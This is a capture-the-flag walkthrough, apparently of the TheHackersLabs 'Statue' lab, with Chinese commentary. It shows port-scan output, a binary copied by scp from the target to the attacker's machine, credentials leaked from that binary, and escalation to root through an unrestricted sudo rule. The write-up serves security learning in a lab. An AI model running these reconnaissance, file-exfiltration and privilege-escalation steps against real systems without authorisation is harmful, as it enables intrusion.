┌──(root㉿Eecho)-[~] └─# rustscan -a 192.168.100.53 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- To scan or not to scan? That is the question.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.100.53:22 Open 192.168.100.53:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.53 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 17:48 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 17:48 Completed NSE at 17:48, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 17:48 Completed NSE at 17:48, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 17:48 Completed NSE at 17:48, 0.00s elapsed Initiating ARP Ping Scan at 17:48 Scanning 192.168.100.53 [1 port] Completed ARP Ping Scan at 17:48, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 17:48 Completed Parallel DNS resolution of 1 host. at 17:49, 2.50s elapsed DNS resolution of 1 IPs took 2.50s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0] Initiating SYN Stealth Scan at 17:49 Scanning 192.168.100.53 [2 ports] Discovered open port 22/tcp on 192.168.100.53 Discovered open port 80/tcp on 192.168.100.53 Completed SYN Stealth Scan at 17:49, 0.01s elapsed (2 total ports) Initiating Service scan at 17:49 Scanning 2 services on 192.168.100.53 Completed Service scan at 17:49, 6.02s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.100.53 NSE: Script scanning 192.168.100.53. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 17:49 Completed NSE at 17:49, 0.12s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 17:49 Completed NSE at 17:49, 0.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 17:49 Completed NSE at 17:49, 0.00s elapsed Nmap scan report for 192.168.100.53 Host is up, received arp-response (0.00061s latency). Scanned at 2026-04-29 17:49:00 CST for 8s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 c2:ac:cf:d7:65:58:4b:cf:a2:a1:cd:ff:db:25:b7:79 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKmylkMfiJz8QTF2Tk5RYCtkNddvPNVHkMrGl1SlYpKArggCn5BJ7Gjr709+M7Q4d0cFBZVkSStZwlsErtlEkGY= | 256 e4:4a:ab:9d:d8:7b:8c:d9:6c:6c:9a:52:85:70:b4:8d (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICYHHN2JUC7RfO/qotmbvcwqWYb5/5uar+d1R8/pfxu2 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58 |_http-server-header: Apache/2.4.58 (Ubuntu) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-title: Index of / MAC Address: 08:00:27:ED:CD:DC (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=4/29%OT=22%CT=%CU=36328%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=69F1D414%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=104%TI=Z%CI=Z%TS=A) OS:OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4 OS:ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88) OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+% OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A= OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40 OS:%CD=S)
Uptime guess: 26.315 days (since Fri Apr 3 10:15:36 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=261 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Host: 192.168.100.53; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.61 ms 192.168.100.53
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 17:49 Completed NSE at 17:49, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 17:49 Completed NSE at 17:49, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 17:49 Completed NSE at 17:49, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.21 seconds Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
bash-5.2$ su charles Password: $ id uid=1001(charles) gid=1001(charles) groups=1001(charles) $
charles -> root
在用户charles家目录下有一个binario二进制文件get下来ida分析
1 2 3 4 5 6 7 8 9
$ scp binario root@192.168.100.21:/tmp/aaaa The authenticity of host '192.168.100.21 (192.168.100.21)' can't be established. ED25519 key fingerprint is SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.100.21' (ED25519) to the list of known hosts. root@192.168.100.21's password: binario 100% 16KB 9.3MB/s 00:00 $
这里直接泄露了用户凭证
1 2 3 4 5
$ su juan Password: juan@TheHackersLabs-Statue:/home/charles$ id uid=1002(juan) gid=1002(juan) groups=1002(juan) juan@TheHackersLabs-Statue:/home/charles$
可以看到sudo -l显示了(ALL) NOPASSWD: ALL当前用户 juan 拥有最高级别的权限配置，可以以 root 身份运行任何命令
1 2 3 4 5 6 7 8 9 10 11
juan@TheHackersLabs-Statue:/home/charles$ sudo -l Matching Defaults entries for juan on TheHackersLabs-Statue: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User juan may run the following commands on TheHackersLabs-Statue: (ALL) NOPASSWD: ALL juan@TheHackersLabs-Statue:/home/charles$ sudo -i root@TheHackersLabs-Statue:~# id uid=0(root) gid=0(root) groups=0(root) root@TheHackersLabs-Statue:~#
